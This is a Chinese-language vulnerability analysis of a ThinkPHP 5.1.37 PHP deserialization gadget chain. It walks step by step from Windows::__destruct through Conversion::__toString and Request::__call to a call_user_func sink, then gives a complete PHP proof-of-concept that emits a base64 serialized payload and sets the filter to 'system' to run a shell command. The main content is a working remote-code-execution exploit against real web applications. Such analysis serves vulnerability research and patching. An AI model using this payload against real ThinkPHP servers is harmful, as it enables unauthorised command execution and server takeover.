复现环境
thinkphp 5.1.37
寻找反序列化的起始点

Ctrl+Shift+F 搜索_destruct,找到windows.php
继续跟进removeFiles().发现 Windows->removeFiles(); 中使用了 file_exists 方法,而且 $files 可控.查看 file_exists 的定义可以知道,$filename会被当做字符串处理,那么$filename->__toString()方法就会被调用.
寻找反序列化的中间跳板

下面就要求寻找一个实现了__toString()方法的对象来作为跳板.这里找的是thinkphp\library\think\model\concern\Conversion.php

跟进toArray()方法,寻找一个满足条件的:$可控变量->方法(参数可控) 这样可以去触发某个类的__call方法。

因为append是类的属性,我们可以控制,所以$name可以控制,下面就来看看$relation怎么控制。跟进getAttr()。

继续跟进getData().
这里date是类属性,我们可以控制,所以就可以控制$relation。

我们需要的$data和$append分别位于 Attribute 和 Conversion,且两者都是 trait 类型。Trait 可以说是和 Class 相似,是 PHP 5.4.0 开始实现的一种代码复用的方法,可以使用 use 加载。我的理解是和java的接口相似,不能实例化,只能被继承。举个例子 :

所以还得寻找一个同时使用了 Attribute 和 Conversion 的类。发现只有 /thinkphp/library/think/Model.php 满足条件
寻找反序列化代码执行点
下面我们需要寻找一个类满足以下2个条件
- 1.该类中没有”visible”方法
- 2.实现了__call方法
直接查找 “public function __call”
一般PHP中的call方法都是用来进行容错或者是动态调用,所以一般会在call方法中使用
__call_user_func($method, $args)
__call_user_func_array([$obj,$method], $args)
但是 public function __call($method, $args) 我们只能控制 $args,所以很多类都不可以用

经过查找发现 thinkphp/library/think/Request.php 中的 __call 使用了一个array取值的method.
但是这里有个 array_unshift($args, $this); 会把$this放到$arg数组的第一个元素.这样的话明显就很难执行命令了,因为参数数组的第一个元素始终是$this,无法直接执行我们想要的命令,所以需要call_user_func_array([$obj,”任意方法”],[$this,任意参数])。需要其他某种对参数不是这么敏感的函数作为一个新的执行点或者跳板

Request类中有一个特殊的功能就是过滤器 filter(ThinkPHP的多个远程代码执行都是出自此处)
寻找调用 filterValue 的地方以便控制$value和$filters好执行命令。
发现input()函数满足条件。但是这个方法不能直接使用,$name是一个数组(由于前面判断条件 is_array($name)) (toArray()中),(string)$name 会报错终止程序,所以不能直接使用这个函数 继续查找调用input方法的的函数。
这里发现一个函数 public function param($name = ”, $default = null, $filter = ”),如果能满足$name为字符串,就可以控制变量代码执行了 所以继续向上查找使用了param的方法。

这里就发现isAjax方法可以满足param的第一个参数为字符串,因为$this->config也是可控的。

回到param函数。

这里的$name和$this->param都是可以控的。(跟进get()和route()可以发现this->param是可控的。)

再回到input函数。跟进getData(),返回$data为$data[$val]的值,即$data[$name]

继续跟进getFilter(),getFilter 的两个参数分别为”和null且都不可控,但是跟进不难看出最后返回$filter的值就是$this->filter,虽然后面$filter[] = $default;会给 filter 数组追加个值为null的元素,但后面 filterValue 中的 array_pop 函数正好给去掉了

这样就得到一条可控变量的函数调用链,最后执行命令
下面简单梳理下流程
- 过 Windows 类_destruct()方法调用到file_exists触发Conversion类的_toString()来到toArray()函数
- 通过控制分别位于 Attribute 和 Conversion 的$data和$append变量执行在 Request 中不存在的visible函数进而触发其__call()
- 在 Request 通过控制$hook $filter $config三个变量的值注入最终的 callback 名称和参数,再经这么一系列函数调用执行命令 call() —> calluserfunc_array() —> isAjax() —> param() —> input() —> filterValue() —> calluserfunc()
构造 Payload
由于 Model 类是 abstract 类型,无法实例化,而extends Model 的也只有一个 Pivot 类,所以用他来构造payload.注意继承关系要在poc中表现出来。
<?php
namespace think;
abstract class Model{
protected $append = [];
private $data = [];
public function __construct(){
$this->append=['stao'=>['']];
$this->data=['stao'=>new Request()];
}
}
class Request{
protected $hook = [];
protected $filter ;
protected $get = [];
protected $config = [
// 表单请求类型伪装变量
'var_method' => '_method',
// 表单ajax伪装变量
'var_ajax' => '_ajax',
// 表单pjax伪装变量
'var_pjax' => '_pjax',
// PATHINFO变量名 用于兼容模式
'var_pathinfo' => 's',
// 兼容PATH_INFO获取
'pathinfo_fetch' => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
// 默认全局过滤方法 用逗号分隔多个
'default_filter' => '',
// 域名根,如thinkphp.cn
'url_domain_root' => '',
// HTTPS代理标识
'https_agent_name' => '',
// IP代理获取标识
'http_agent_ip' => 'HTTP_X_REAL_IP',
// URL伪静态后缀
'url_html_suffix' => 'html',
];
public function __construct(){
$this->hook=['visible'=>[$this,"isAjax"]];
$this->config['var_ajax']='stao';
$this->filter='system';
$this->get=['stao'=>'dir'];
}
}
namespace think\model;
use think\Model;
class Pivot extends Model{
}
namespace think\process\pipes;
use think\model\Pivot;
class Windows{
private $files = [];
public function __construct(){
$this->files=[new Pivot()];
}
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
在入口文件自己写一个反序列化点,然后post payload.

可以看到调用链
参考文章
thinkphp 5.2取消了request中的call函數,所以利用链不太一样。